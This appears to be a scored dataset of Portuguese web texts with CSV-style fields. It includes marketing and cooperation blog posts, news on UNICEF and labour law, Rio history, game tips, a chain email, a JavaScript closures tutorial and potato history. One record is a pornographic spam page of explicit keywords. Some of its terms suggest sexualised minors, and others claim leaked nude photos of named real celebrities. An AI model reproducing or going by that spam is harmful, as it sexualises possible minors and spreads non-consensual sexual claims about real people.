+A moça, sabendo que esse tipo de louco não deve ser desapontado, imediatamente colocou o livro na vitrine. Será que esse é o marketing um-a-um? :))
+Estou lendo o Gonzo Marketing do Christopher Locke e estou gostando. Apesar de ser o tipo de escritor que poderia ter dito tudo em um artigo (a maior parte do livro ele fica criticando outros autores, como estou fazendo com ele aqui), a idéia que mais me cativou foi a de que histórias são instrumentos eficientes na comunicação de uma mensagem, mesmo comercial.
+Embora não fique bem claro onde ele traça o limite entre o comercial e o informal, a leitura que faz da Internet é interessante. Comunidades de interesses comuns que se incumbam de falar bem do produto/empresa que as patrocina (exemplo que ele deu da Ford). Acho que já vi esse filme, com outro nome: WideBiz.
+Meu primeiro livro é de histórias, crônicas. O segundo (já na editora) chama-se ""Receitas de Grandes Negócios"" e deve sair em Abril ou Maio. O terceiro só falta escrever uma introdução, fazer uma revisão e mandar para a editora. Embora o primeiro, ""Crônicas de uma Internet de Verão"" tenha sido escrito no período pré-durante-pós euforia da Internet, não há o que eu mudaria ali. Algumas de minhas crônicas inclusive previam como a história se comportaria.
+Quando entrei na Widesoft em 1998, levei alguma experiência que tinha obtido com meu site pessoal www.stories.org.br e do boletim diário Chapter-a-Day. Lições que aprendi com um britânico que só conheci na Web, que já estava na Web desde 94 ou 95 com idéias pouco compreendidas para sua época.
+Meu discurso para a empresa foi: Criar uma comunidade de (1) formadores de opinião, dar uma (2) conotação bastante pessoal à coisa toda, usar o (3) boca-a-boca, (4) compartilhar conhecimento. Houve muitas dúvidas como:
+(1) Mas eles não são os clientes que buscamos. (2) Vai parecer que a empresa é uma pessoa. (3) O normal é comprar espaço na mídia. (4) Perigo de transferir tecnologia.
+Compartilhando agora um pouco da experiência disso:
+1) Evidentemente, o resultado disso -- WideBiz (lista e site) -- nunca vendeu os produtos da empresa, mas funcionou como um institucional poderoso, tendo a marca aparecido até em entrevistas de publicações no exterior, dirigidas a clientes em potencial (www.outsourcing-journal.com).
+(2) Esse perigo ocorreu e muita gente pensava que eu fosse dono da empresa (embora fosse apenas um diretor de comunicação contratado). Se alguém for repetir esse tipo de experiência, fique atento para descontentamento interno, do tipo ""eu trabalho e ele aparece"".
+(3) Espaço institucional na mídia tivemos em abundância. Não do tipo compre nosso produto, mas do tipo que expõe a marca.
+(4) Não existe o perigo de transferir tecnologia, mas uma imagem simpática de uma empresa que compartilha conhecimento. A Sun tem um site que é uma verdadeira enciclopédia e traz bons resultados institucionais.
+Mas... onde é que eu estava mesmo? Ah! no livro Gonzo Marketing. Parodiando ""Eu era feliz e não sabia""...",original,original,original,original,2,0.4
+"Vingadores Avengers vs Gamma Monsters
+Use o para selecionar as unidades de heróis no topo da tela, à esquerda. Selecione o local que a unidade deve se posicionar para barra o avanço dos monstros. Selecione unidades que estão ociosas para que retornem à base.
+Seu objetivo é evitar a invasão dos montros radioativos. Use os heróis da Liga dos Vingadores para barra o avanço dos monstros gosmentos.",original,original,original,original,2,0.4
+"Investir em educação é eficaz para redução de homicídios, diz Unicef - Perfil News - Notícias de Três Lagoas e região
+Início Notícias Educação Investir em educação é eficaz para redução de homicídios, diz Unicef
+17/06/2019 17h40
+Entidade aposta no acesso à escola como um mecanismo fundamental para reverter a tendência atual que pode levar à morte de quase 2 milhões de crianças e adolescentes no mundo até 2030.
+Um conjunto de estudos promovidos e apoiados pela Fundo das Nações Unidas para a Infância (Unicef), vinculada à Organização das Nações Unidas, apontam evidências de que garantir o direito à educação é uma estratégia eficaz para a proteção da vida e para a prevenção da violência. Com base em tais pesquisas, a entidade aposta no acesso à escola como um mecanismo fundamental para reverter a tendência atual que, segundo ela, pode levar à morte de quase 2 milhões de crianças e adolescentes no mundo até 2030.
+Os estudos estão em debate no seminário “Educação é Proteção contra a Violência”, que começou hoje (17) e está reunindo especialistas, autoridades, sociedade civil e lideranças adolescentes no Museu do Amanhã, no Rio de Janeiro. O evento é organizado pela Unicef em parceria com a Cidade Escola Aprendiz, uma organização da sociedade civil de interesse público, que se dedica a promover perspectiva integral da educação.
+As pesquisas revelam ainda que, na maior parte das vezes, o jovem vítima de homicídio está fora da escola ou em vias de abandoná-la. “Estar na escola é um fator de proteção”, avalia Florence Bauer, representante do Unicef no Brasil. No Ceará, por exemplo, um levantamento feito em Fortaleza e em outros seis municípios mostrou que 70% dos meninos e meninas assassinados haviam largado a escola há, pelo menos, seis meses.
+Aos participantes do seminário, foi distribuída a publicação Educação que protege contra a violência, na qual o Unicef concentra os principais dados em torno do assunto. O documento traz, por exemplo, um levantamento de 2015 segundo o qual a América Latina responde por quase a metade de todos os homicídios ocorridos no mundo envolvendo adolescentes de 10 a 19 anos. A região é a única do planeta que apresenta aumento desses índices desde 2007.
+No Brasil, os dados apontam que 32 meninos e meninas entre 10 e 19 anos são vítimas de homicídio a cada dia, o que coloca o país na primeira posição em número absoluto de assassinatos de adolescentes no mundo. Proporcionalmente, os números brasileiros são inferiores apenas aos registrados na Venezuela, Colômbia, El Salvador e Honduras.
+Segundo Florence Bauer, trata-se de um problema que afeta de forma mais incisiva um perfil específico: jovens negros de família de baixa renda. “Vivem em territórios vulneráveis e violentos, sem acesso adequado a serviços de saúde, assistência social, educação, esporte e lazer”, diz. Entre 2007 e 2017, mais de 107 mil adolescentes entre 10 e 19 anos no Brasil morreram em decorrência da violência. Para cada sete vítimas, cinco são negras.
+Há estudos que também revelam o medo como fator que prejudica o acesso à educação. Na Pesquisa Nacional de Saúde Escolar (PeNSE), realizada pelo Instituto Brasileiro de Geografia e Estatística (IBGE), 14,8% dos estudantes do 9º ano entrevistados em 2015 declararam ter deixado de ir à escola ao menos um dia nos 30 dias anteriores por não se sentirem seguros no caminho de ida ou de volta. Além disso, 9,5% disseram que, nesse mesmo período, se ausentaram em algum momento da aula por não se sentirem seguros no próprio ambiente escolar.
+Uma investigação em 99 escolas realizada pela Faculdade de Medicina da Universidade de São Paulo (USP) mostrou a diferença de percepção desse quadro na comparação entre instituições públicas e privadas. Na capital paulista, 41,2% dos diretores das escolas públicas consideraram alta a violência no entorno. Esse percentual cai para 22,6% entre os diretores de escolas particulares.
+O seminário continua amanhã (18) quando será apresentado um panorama do enfrentamento d...",original,original,original,original,4,0.8
+"Como roubar casas
+Pergunta: Como faço para roubar casas?
+Resposta: Você só poderá assaltar casas depois da missão ""Home Invasion"". Depois de completada esta missão você poderá procurar por um van preta saindo da casa do CJ, virando a primeira rua à esquerda e depois na próxima rua à direita, depois à esquerda novamente. Ela estará no lado esquerdo da rua. Para fazer assaltos você deverá pegar a van entre 22:00 e 6 da manhã, apetando o botão R3 no playstation, e a tecla ""2"" no computador, para fazer a missão começar. Vá até as casas indicadas no mapa e assalte-as.",original,original,original,original,0,0.0
+"""É verdade que nós ferimos muitas pessoas, mas mesmo assim, foi em nome da justiça. E, se um dia eu tiver que pagar por esses pecados, não tenho a menor intenção de resistir à condenação... Eu vou aceitar. Mas será que existem homens capazes de viver sem cometer a menor falta?"" (Shun de Andrômeda)
+""É verdade que a humanidade cometeu muitos erros... Talvez realmente devam ser destruídos... Preocupações, sofrimentos... Vivem ferindo uns aos outros... Mas também amam... Às vezes, isso os torna mais maravilhosos do que uma forma perfeita de vida... É nisso que eu acredito... Nem que seja por um instante... Eu quero acreditar nas maravilhas da humanidade."" (Saori Kido)
+""Quando se quer enganar o inimigo é preciso começar enganando os amigos."" (Saori Kido)
+""Deve ser mais difícil viver como a reencarnação de uma deusa, do que morrer como uma simples mortal."" (Seiya de Pégaso)
+""As flores nascem e depois murcham... as estrelas brilham, mas algum dia se extinguem... Comparado à isso, a vida do homem não é nada mais do que um simples piscar de olhos, um breve momento."" (Shaka de Virgem)
+""Você cresceu tanto porque aquilo em que acreditava realmente estava certo. Eu gostaria de poder deixa-lo viver para usar esse poder que adquiriu, mas eu não tenho mais forças para ajuda-lo. Perdoe-me."" (Camus de Aquário)
+É um dos meus embates preferidos também. Valeu pelo comentário ;)",original,original,original,original,2,0.4
+"Localizado no município de Jaguarão, próximo à fronteira com o Uruguai, o Quilombo Madeira reúne 60 famílias em uma área de 40 hectares. A comunidade teve sua origem no século XIX, quando negros vindos do país vizinho foram viver na região. Essa questão aponta para as especificidades dos quilombos da fronteira, marcados pelo trânsito de escravos fugidos do Brasil para o Uruguai e pela vinda ou retorno de negros deste país para o Brasil. O tamanho reduzido das terras e a diminuição da oferta de trabalho no campo com a mecanização das atividades agrícolas faz com que a maioria das famílias que hoje residem o quilombo tenham que buscar trabalho na cidade, onde passam a maior parte da semana.",original,original,original,original,4,0.8
+"A Minha Vida Dava uma Série: Sugestão para o fim-de-semana: buffet de cozido do Rio's
+Sugestão para o fim-de-semana: buffet de cozido do Rio's
+Cá em casa é sempre um problema quando temos que combinar almoços e jantares de família: uns gostam de uma coisa, outros gostam de outra, as crianças não gostam de nada e o resultado é que NUNCA ninguém se entende. Sendo que, quando os avós também estão incluídos no programa, a escolha torna-se ainda mais difícil. Foi por isso que fiquei felicíssima quando soube que o Rio's tem um buffet de cozido portuguesa ao Domingo!
+Para quem não gosta de cozido, existe sempre a opção da carta normal: no nosso caso, marido deliciou-se com o buffet, eu com um risotto e as crianças com um sempre seguro arroz de pato.
+Quem me segue no Instagram teve oportunidade de ver algumas fotografias do nosso almoço. Mas como as fotos do Rio's são bem melhores que as minhas, aqui ficam algumas imagens para vos abrir o apetite.",original,original,original,original,1,0.2
+"Jornal de Araraquara - On-line - Vale a pena ler: 7%
+Para celebrar meus 90 anos, escrevi 42 lições da vida. É a coluna mais solicitada.
+2. Quando estiver em dúvida, dê somente o próximo passo, e pequeno.
+3. A vida é muito curta para desperdiçá-la, odiando alguém.
+4. Seu trabalho não cuidará de você quando ficar doente. Só quem te ama.
+6. Você não tem que ganhar toda vez. Concorde em discordar.
+9. Quanto a chocolate, inútil resistir.
+12. Não compare sua vida com a de outros. Você não sabe sobre a deles.
+13. Tudo pode mudar num piscar de olhos. Deus nunca pisca.
+14. Respire fundo, isso acalma a mente.
+15. Livre-se de coisa que não seja útil, bonita ou alegre.
+16. Qualquer coisa que não o matar vai torná-lo mais forte.
+17. Nunca é tarde para infância feliz. Mas, a segunda é por sua conta.
+18. Quando se trata do que você ama, não aceite NÃO como resposta.
+21. Seja excêntrico (a), não espere a velhice para vestir roxo.
+23. Ninguém mais é responsável pela sua felicidade, só você.
+24. Enquadre os ""desastres"" com as palavras: em 5 anos isso importará?
+32. Deus ama você porque ele é Deus, não porque você fez ou fará.
+33. Não faça auditoria na vida. Aproveite-a ao máximo agora.
+35. Tudo que importa no final é o que você amou.
+36. Saia todos os dias. Os milagres estão esperando em todo lugar.
+37. Se colocássemos problemas em uma pilha e víssemos todos os outros como eles são, pegaríamos nossos mesmos problemas de volta.
+38. A inveja é uma perda de tempo. Você tem tudo o que precisa.
+40. Não importa como você se sente: levante-se, vista-se e apareça.
+93% não encaminharão para ninguém. Se você for um dos 7% encaminhe-o com o título ""7%"". Mande para todos, não espere completar 90 anos!",original,original,original,original,2,0.4
+"Talha folheada a ouro do século XVIII. Altar de São Roque da Igreja da Ordem Terceira de São Francisco da Penitência, Largo da Carioca (In: Barroco e Rococó nas Igrejas do Rio de Janeiro / Iphan)
+A paisagem da Baía de Guanabara e das terras do entorno, observada pelos europeus que participavam da primeira expedição exploradora, não era mais a mesma. Para os embarcados naquela frota, a primeira visão, em 1502, revelava um meio ambiente desconhecido e intocado, aparentemente intransponível e deserto. Olhares atentos, transformados em relatos, descreveram dezenas de aspectos, como a exuberante cobertura florestal (Mata Atlântica). A partir da fundação, sob o signo da disputa entre portugueses e franceses, a cidade foi, aos poucos, ocupada, saneada e aterrada, reformada, constituindo um cenário onde se misturavam a paisagem natural e a intervenção do homem.
+Recuando até os anos iniciais do século XVIII, documentos de época relataram que os portugueses, quando vinham para as terras do outro lado do Atlântico, se deparavam com espaços sendo formados. As cidades eram bastante acanhadas e a população diferia bastante da europeia. Era assim, também, no Rio de Janeiro. Até essa épooca, na cidade que, segundo a historiadora Mary Del Priore, “tinha descido dos morros onde a plantara inicialmente Mem de Sá, para invadir várzeas, vales e montes”, a pobreza e a riqueza conviviam no movimento do cais, em torno dos chafarizes existentes e na circulação dos largos centrais.
+Os estrangeiros, nessa ocasião, quando chegavam ao Rio de Janeiro, registravam, em correspondências ou em diários, sérios problemas com a limpeza. As vielas estreitas e irregulares não eram varridas, sendo, também, local de pasto para os animais. Por ali circulavam, segundo o escritor Luiz Edmundo, “espessas manadas de bois, varas de porcos, rebanhos de carneiros, esperando-se que a Divindade os fulmine, transferindo para eles a cólera que tanto aos homens prejudica”. Diante das ameaças à saúde, pela ausência de saneamento, os que possuíam recursos faziam promessas aos santos católicos, que seriam cumpridas se a graça fosse alcançada, doando ouro e prata para ornar altares das igrejas e das capelas. As preces dos moradores espalhavam-se em rezas e novenas; incontáveis velas iluminavam os templos. A população usava cordões com cruzes deixadas bem à mostra, buscando proteção divina. Historiadores observam que tal comportamento talvez representasse mais superstição do que religiosidade.
+A cidade de Vila Rica. Era de lá que provinha grande parte do ouro e da prata que ornamentaram as igrejas do Rio no século XVIII. Desenho publicado em livro de 1838 (Crédito: Ferdinand Denis/Biblioteca Nacional do Rio de Janeiro)
+Luiz Edmundo registrou a situação: “Natureza amiga! O homem suja, o vento varre, a água lava e o sol, depois, enxuga!”. Tudo isso, prossegue, “diante da belíssima Baía de Guanabara com suas águas tranquilas e calmas”. Tal condição não fugiu à observação de D. Luís de Almeida Portugal d’Eça Alarcão de Melo e Silva Mascarenhas (1729-1790). Conhecido como O Gravata, por seu apuro no vestir, o vice-rei Marquês do Lavradio enxergava o Rio de Janeiro com um cenário urbano “sumamente pobre”. Mas, como diz o título da canção de Oswaldo Montenegro, Sempre Não É Todo Dia. Nos anos de 1763 a 1808 e nos seguintes, obras importantes foram realizadas no centro da cidade e no restante da malha urbana do Rio de Janeiro.
+X
+Carioca curioso
+Vice-reis
+Estudos sinalizam que os indicados pelo rei para ocupar o vice-reinado, quando aceitavam a função, não vinham para a colônia americana atrás de aventuras. Não havia comparação entre a vida em Portugal e a que teriam nas terras ultramarinas. Muitos imaginavam que, prestando serviço ao rei, teriam maiores e melhores oportunidades de obter prestígio e poder, como pagamento indireto. Honrados pela distinção da escolha, quando partiam de Lisboa, enfrentando a longa viagem, nem tudo era certeza. Resistiriam ao longo percurso? Sobreviveriam a climas...",original,original,original,original,4,0.8
+"Delicia de gata safada se masturbando | quantrisk.ru
+Delicia de gata safada se masturbando
+Calcinha » Bucetas raspadas » Delicia de gata safada se masturbando
+Postado em: Bucetas raspadas, Novinha gostosa, Peitudas gostosas, Ruivas gostosas
+imagens de atrizes porno dani bolina nua na sexy negras peladas e gostosas cleo cadilac fodendo pica na chereca lindas buceta fotos de mulheres com bucetas lindas fotos putinhas peladas panicat juju pelada meninas novinhas peladinhas fotos da buceta de viviane araujo fotos de rolas gozadas loiras gostosinhas gostosas da net pelada buceta de atrizes famosas todas panicats nua juliana bbb pelada foto de mulheres negras peladas fotos da paniquetes peladas mulheres bucetudas fotos bucetinhasgostosas fotos da atriz porno julia paes lívia andrade peladona japonesa bucetudas mulher file buceta imagens de mulheres nuas morenas fotos de bucetas de famosas porno brasileras gostosas fotos mulheres bonitas nuas nuas e bonitas gloria pires nua na playboy fotos de mulheres super gostosas peladas fotos monica mattos fudendo bucetas esquisitas moças bucetudas viviane araújo peladinha quero ver novinha pelada mulheres peladas gostosas fotos juju salimeni bucetuda juliana paes nua mostrando a buceta fani mostrando a buceta bucetinha rosada fotos vai novinha raspadinha fotos gretchen pelada fotos de mulheres deliciosas mendigata do panico nua assistir mulheres peladas foto da mulher melão pelada ver dani bolina pelada fotos de mulher pelada famosa mulheres nuas morena bruna surfistinha dando gostoso porno com brasileira gostosas imagens de mulheres fudendo gostoso juliana paes playboy como ver uma mulher pelada gostosas da playboy nua nuas que cairam na net foto de viviane araújo pelada orientais pelada jessica correa brasileirinhas sexi eva andressa imagens nanda costa nua fotos xerecas bruna ferraz playboy sexo grupal com lesbicas amadoras gatas nuas vivi fernandes fodendo filme porno da viviane fernandes fotos de mel lisboa",original,original,original,original,0,0.0
+"Nos dias 27 e 28/09, a coordenação dos serviços de higienização e limpeza do Hospital Deputado Luís Eduardo Magalhães, em Mairi (BA), promoveu capacitação para as equipes de higiene e limpeza e serviço de lavanderia.
+Abordando o tema ‘Qualidade nos Processos de Trabalho’, o evento ressaltou o significado da qualidade e eficiência no desenvolvimento das atividades setoriais.
+A enfermeira Tatiane Fernandes (coordenadora das equipes) pontuou elementos essenciais para que o trabalho dos colaboradores alcance a qualidade desejada, tais como: planejamento, organização, administração, execução e interação. Tatiane observou também que “o ambiente de trabalho deve ser um local muito agradável, tanto pelo aspecto físico quanto pela forma como as pessoas se organizam, se relacionam e são conduzidas para alcançar os objetivos”.",original,original,original,original,2,0.4
+"Flexibilizar para não demitir, com Anna Carolina Cabral
+Empresas estão propondo aos empregados o ajuste de benefícios para evitar cortes. Direitos previstos na CLT não podem ser mexidos
+A alta do desemprego no país tem feito com que as empresas proponham aos empregados a flexibilização de benefícios para evitar demissões. Uma forma de evitar os custos dos desligamentos e as possíveis demandas judiciais na Justiça do Trabalho. As negociações podem ocorrer no âmbito do Programa de Proteção ao Emprego (PPE), do governo federal, ou através de acordos coletivos entre os sindicatos patronais e dos trabalhadores. Existem os benefícios indiretos concedidos pelo empregador que podem ser flexibilizados e até cortados. Já a redução de jornada com a diminuição de salários só pode ser levada adiante por tempo determinado e com a concordância dos trabalhadores.
+Entre os ajustes que podem ser feitos pelas empresas, por exemplo, está o corte de celular e de veículo para os trabalhadores que usam esses benefícios indiretos. Os direitos previstos na Consolidação das Leis do Trabalho (CLT), como carteira assinada, férias, 13º salário e salário em dia não podem ser flexibilizados. ""Existem benefícios concedidos por livre vontade do empregador que podem ser retirados. Outros obrigatórios, previstos em negociação coletiva, podem ser flexibilizados neste momento de crise"", aponta a advogada Anna Carolina Cabral, do escritório Queiroz Cavalcanti.
+Segundo a especialista, a primeira coisa que as empresas fazem para enfrentar a crise é desligar funcionários para cortar custos. Ela alerta que a demissão pode piorar a situação e gerar uma reclamação trabalhista no futuro. Uma alternativa que pode ser usada é a redução de jornada com a redução de salário. A medida é polêmica porque a Constituição Federal garante a irredutibilidade dos salários. ""A empresa pode adotar (essa medida) desde que haja a concordância do trabalhador e a empresa comprove a dificuldade financeira, e seja de forma temporária"", diz Anna Carolina.
+Uma das categorias mais afetadas pelas demissões em Pernambuco é a dos metalúrgicos. Os trabalhadores estão negociando a flexibilização de jornada. A empresa Maxtil, fabricante de eletrocalhas (bandejas que fornecem suporte para a passagem de fios e cabos elétricos), propôs a redução de jornada com a redução de salários pelas regras do PPE. A proposta será analisada numa reunião entre os representantes dos trabalhadores e da empresa, que terá mediação da Superintendência Regional do Trabalho e Emprego (SRTE-PE). Procurada pelo Diario, a Maxtil preferiu não se pronunciar. Será o primeiro acordo do PPE no estado.
+O diretor do Sindmetal Edson José de Araújo informa que as negociações são preliminares. ""Nós somos contra a redução de jornada, mas dentro do PPE os trabalhadores não terão a redução de salário porque o governo vai cobrir a perda salarial"", destaca. Segundo ele, aumentou a procura das empresas para fechar o acordo de compensação de horas extras através de banco de horas.",original,original,original,original,2,0.4
+"JavaScript | Jedi Tux
+Jedi Tux
+JavaScript, Laços, Closures e Escopo
+Posted in JavaScript by Fernando Basso on 11 de fevereiro de 2014
+A função abaixo itera sobre um laço for, mas o resultado não é o esperado.
+i   = 0;
+for ( ; i < 3; ++i ) {
+arr[ i ] = function() {
+var res = fn();
+O objetivo do laço é popular o array, fazendo com que cada posição contenha uma função, de forma que seja possível chamar as funções dessa forma:
+res[ 0 ](); // 10.
+res[ 1 ](); // 11.
+res[ 2 ](); // 12.
+O problema é que devido à maneira que o escopo é tratado em Javascript, os resultados são 13, 13 e 13 em vez dos esperados 10, 11, 12.
+O que aconteee é que em JavaScript as variáveis tem seu valor estabelecido no momento em que são usadas, e não no momento em que são declaradas. No caso do return i + 10, o i só é interpretado quando executamos res[ 0 ](), res[ 1 ](), etc. A função assinada a cada índice do array guarda apenas uma referência ao escopo onde foram definidas. Mais tarde, quando essas funções são realmente chamadas, elas vão encontrar o valor do i, que é 3 (último incremento antes da condição do laço retornar falso) e usar aquele valor.
+Uma maneira de resolver o problema é usando uma closure para “forçar” o escopo e retornar uma função que guarda os valores desejados do i. Para isso vamos utilizar uma IIFE (immediately invoked function expression) que aceita o i como parâmetro e assim cria um novo escopo onde o valor correto do i é lembrado quando cada função retornada for finalmente chamada.
+Essa é a versão “semi-correta”.
+arr[ i ] = function( n ) {
+return n + 10;
+}( i ));
+console.log( res[ 0 ]() ); // 10
+console.log( res[ 1 ]() ); // 11
+console.log( res[ 2 ]() ); // 12
+Por que “semi-correta”? Porque estamos criando uma nova função a cada volta do laço. Isso é desnecessário e custa mais ciclos do processador. Vamos criar uma versão onde a função já fica pronta, apenas esperando para ser usada.
+// Note que addTen retorna uma função que por sua vez retorna o arg + 10.
+function addTen( arg ) {
+return arg + 10;
+arr[ i ] = addTen( i );
+Veja que na função addTen, seria incorreto especificar argumento para a função interna – aquela que é retornada, pois não teríamos como passar o argumento sem chamar a função. Nesse caso, estaríamos retornando o valor da função, e não a função em si.
+// ERRADO!
+return function( n ) { // Não especifique argumento na assinatura da função.
+}; // Teriamos que usar ( arg ) nessa linha.
+O melhor é deixar assim (como no exemplo correto):
+Graças ao conceito de “closures”, mesmo arg não sendo passada como parâmetro na função interna (aquela que é retornada), ela ainda assim é acessível.
+JavaScript – Validar Email e Mostrar Mensagem SEM alert()
+Posted in JavaScript by Fernando Basso on 21 de julho de 2013
+O email é validado tanto no evento blur do campo de email quanto no event submit do formulário. Uma mensagem é adicionada ou removida conforme a validade ou não do email.
+A mensagem é criada com document.createTextNode() e é inserida em uma div que é criada com document.CreateElement(). Para completar o processo também são utilizados os métodos appendChild() e removeChild().
+Qualquer dúvida ou sugestão pode ser feita através dos comentários.
+// O código poderia estar melhor organizado, mas optei por deixar
+// assim para que não ficasse demasiado complicado.
+// FUNÇÕES UTILIZADAS NA VALIDAÇÃO ////////////////////////////////////////
+var re = /^([\w_\-\.])+@([\w_\-\.])+\.([\w]{2,4})$/;
+return !re.test(email) ? false : true;
+function validacao(email) {
+// Só vamos colocar a mensagem se a div#msg ainda não existe.
+if (document.getElementById('msg') == null) {
+// Cria uma tag 'div'.
+// Coloca id='msg' na div.
+div.id = 'msg';
+// Cria um texto.
+var msg = document.createTextNode('Email inválido...');
+// Coloca o texto dentro da div.
+div.appendChild(msg);
+// Coloca a div como último 'child' do formulário.
+testForm.appendChild(div);
+var divMsg = document.getElementById('msg');
+// Se o usuário já acertou o email, a div é removida, m...",original,original,original,original,4,0.8
+"Cada vez mais fica evidente a importância da cooperação nas nossas vidas e até mesmo para a nossa sobrevivência, por exemplo no combate a pandemia através do uso de máscaras e da vacinação pelas pessoas. Mas até o mesmo exemplo, mostra que a cooperação não é algo fácil de se obter.
+Então o que podemos fazer para termos mais cooperação no mundo? Na vida? Nas empresas?
+Essa foi uma das perguntas que me levou para as Ciências Sociais, e que me apresentou o livro “Juntos” do sociólogo Richard Sennett, que fala exatamente sobre esse tema no contexto atual.
+Portanto, resolvi trazer aqui alguns pontos interessantes dessa obra que ajudam a estimular a cooperação, principalmente em momentos difíceis.
+Significado de Cooperação
+A cooperação pode ser definida como uma troca em que as partes se beneficiam.
+Este apoio recíproco entre as pessoas está nos genes de todos os animais sociais, já que precisamos dos outros para alcançar além do que conseguiríamos sozinhos.
+Por que cada vez mais é difícil cooperar?
+Um dos pontos levantados por Sennett é a dinâmica de curto prazo que predomina no ambiente de trabalho atual. Ou seja, as pessoas convivem por curtos períodos, logo as relações acabam sendo superficiais e os vínculos com as organizações são baixos.
+Dessa forma, as pessoas não se envolvem com problemas que não lhes dizem respeito diretamente e por consequência, diminue o nível de confiança nos outros.
+Além disso, o mundo digital através dos algoritmos que dão visibilidade para poucos e a maioria só assiste, favorece que as pessoas não se sintam reconhecidas, mas inferiores, sentimento que compromete a cooperação.
+Como fortalecer a cooperação em situações difíceis?
+1. Não resista aos obstáculos
+Quando estamos enfrentando um problema, geralmente nos preocupamos mais em nos livrar dele do que entender o que está acontecendo.
+Portanto, não resista como alguém que entra em guerra, o mais eficaz é enfrentar o problema em seus próprios termos. Dê a voz e ouça o outro com atenção.
+2. Dê espaço para a improvisação
+Somente quando a gente deixa alguns pontos em aberto é que damos espaço para a improvisação, ou seja, para as pessoas se envolverem na resolução do problema.
+O único cuidado aqui é não se perder nos caminhos que surjam e esquecer do problema a ser resolvido.
+3. Diplomacia cotidiana – Gestão de conflito
+Nada melhor do que aprender com os diplomatas que negociam acordos de guerra, uma ferramenta para enfrentar conflitos do cotidiano.
+Já que as questões espinhosas dificilmente se dissolvem, é importante manter-se conectado com as pessoas e não desistir.
+Bout de papier
+Tem o objetivo de transformar o encontro entre o forte e o fraco em uma troca do tipo ganhar-ganhar.
+Consiste em um papel sem assinatura que contém fórmulas como “se você se sentisse inclinado a propor…. eu estaria disposto a consultar meu governo”. No dia-a-dia, por exemplo, seria: “se você entregar a tarefa ainda hoje, eu me comprometo a liderar o pilar organizacional”.
+4. A força da comunidade, do local
+Tornar-se local, ou seja, envolver-se no bairro, na comunidade do prédio, na empresa, na área que se trabalha, fortacele a cooperação.
+Isso porque uma vez que construímos uma história que você e o outro compartilham, surge uma identidade comum.
+A falta de entendimento recíproco não nos deve impedir de nos relacionar com os outros; queremos que algo seja feito em conjunto.
+Richard Sennett
+Cooperar com o igual é fácil, mas se queremos atingir objetivos extraordinários precisamos envolver todo mundo. Isso significa incluir pessoas que não tem as mesmas ideias/opiniões que você.
+Por isso que a cooperação e a Diversidade e Inclusão caminham juntas, e um tema que me fascina tanto.
+E você, ficou com vontade de ler o livro? Compre aqui!
+Compartilhe!
+Conceitos, Dicas
+cooperação, diversidade e inclusão, liderança, livros
+Navegação de Post
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+Por que “Mulheres que correm com os lobos” faz sucesso?
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+“Calibã e a bruxa” por Silvia Federici: 14 frases reveladoras
+Dei...",original,original,original,original,4,0.8
+"Tudo o que realmente lhe pode interessar acerca das batatas. Para além das variedades de batata, muitas receitas onde ela é rainha. Isto entre muitos outros conteúdos.
+A batata é cultivada desde os primeiros séculos da nossa era nas regiões andinas dos actuais Perú e Bolívia (provavelmente nas imediações do lago Titicaca), a batata foi trazida para a Europa no século XVI pelos conquistadores espanhóis.
+2 Na Cozinha – Dicas e Truques com Batata
+4 Propriedades e Beneficios da batata para a saúde
+Pouco a pouco, o seu cultivo foi-se espalhando pelo resto do continente europeu, chegando a países tão remotos como a Irlanda (hoje o principal consumidor europeu por habitante, com 143 quilos por ano) e a Rússia (um dos principais produtores). Em Portugal não se sabe ao certo a data da introdução da batata, mas deve ter acontecido relativamente cedo no Norte do país, pois a vizinha Galiza foi uma das primeiras regiões espanholas a cultivar o tubérculo recém trazido da América, continente descoberto em 1492 pelo navegador Cristóvão Colombo.
+Foi, porém, o início do seu cultivo na Prússia, em 1620, que levou finalmente, ao reconhecimento das propriedades nutritivas da batata.
+Frederico, “O Grande”, forçou os seus súbditos a consumir batatas como forma de combater as fomes endémicas da época, causadas pelas más colheitas cerealíferas. Apesar de muita resistência devido às superstições infundadas, em meados do século seguinte já a batata fazia parte da alimentação básica dos prussianos.
+Na França, a difusão do consumo deveu-se muito a um jovem agricultor e cientista, Antoine Augustin Parmentier, que convenceu o rei Luís XIV do valor nutritivo da nova planta. Quando a nobreza começou a apreciar a batata à sua mesa, não tardou muito para que o povo também a quisesse experimentar. Inventaram-se então diversos pratos de batatas.
+Oriunda da metade sul do Novo Mundo, a batata chegou à metade Norte via Europa. Desde o início do século XVII que os emigrantes europeus que partiam para a América do Norte levavam consigo exemplares da planta, mas o cultivo nessa zona do mundo só começou a ser em grande escala a partir de 1720 com a chegada dos irlandeses e numa primeira fase destinado essencialmente à alimentação animal.
+Na Irlanda, então sob ocupação inglesa, a história e a batata estão estreitamente ligadas. Com um clima pouco propício ao cultivo dos cereais, a população da ilha dedicou-se quase exclusivamente à produção de batatas nas escassas parcelas de terra não pertencentes aos lordes ingleses. Em 1780, cada irlandês comia em média 3,6 quilos de batatas por dia. No início do século XIX, o tubérculo assegurava 80% das calorias da dieta dos irlandeses que o usavam ainda para alimentar os animais que lhes garantiam alguma carne e leite. A dependência quase total do cultivo da batata teria efeitos desastrosos meio século depois, quando um fungo de nome Phytophora Infestans destruiu quase toda a colheita irlandesa, provocando a Grande Fome de 1845-1846.
+Na Cozinha – Dicas e Truques com Batata
+Se quiser fritar batatas, coloque-as, já cortadas, por meia hora no congelador. Assim, elas ficarão secas e macias, depois de fritas.
+Para salgar as batatas fritas de modo uniforme, coloque-as dentro de um saco de papel com uma porção de sal. Depois sacuda por alguns segundos. Assim, tempera logo as batatas ao mesmo tempo que as enxuga.
+Se quiser assar batatas com casca, besunte-as, antes, com um pouco de manteiga. Elas ficarão com a casca intacta e mais saborosas.
+Se não tiver tempo para assar as batatas, coza-as primeiro em água temperada de sal, durante dez minutos. Depois, é só metê-las em forno quente.
+Se as quer cozer, junte na água da cozedura algumas gotas de limão ou de vinagre. As batatas não vão escurecer ao longo da cozedura.
+Um puré de batata ficará mais saboroso se lhe acrescentar uma clara batida em castelo firme.
+O puré também fica melhor se lhe juntar uma colher de chá de fermento em pó. Bata bem leve e leve ao forno, por alguns minutos.
+Não dei...",original,original,original,original,4,0.8
+"Já parou para pensar em como sabemos que as coisas aconteceram antes ou depois umas das outras? A resposta está em uma ferramenta poderosa: a linha do tempo! Imagine uma régua gigante, onde cada marca representa um momento importante da história. Essa régua é a linha do tempo, e ela nos ajuda a organizar os eventos e a entender a ordem em que aconteceram. 
+
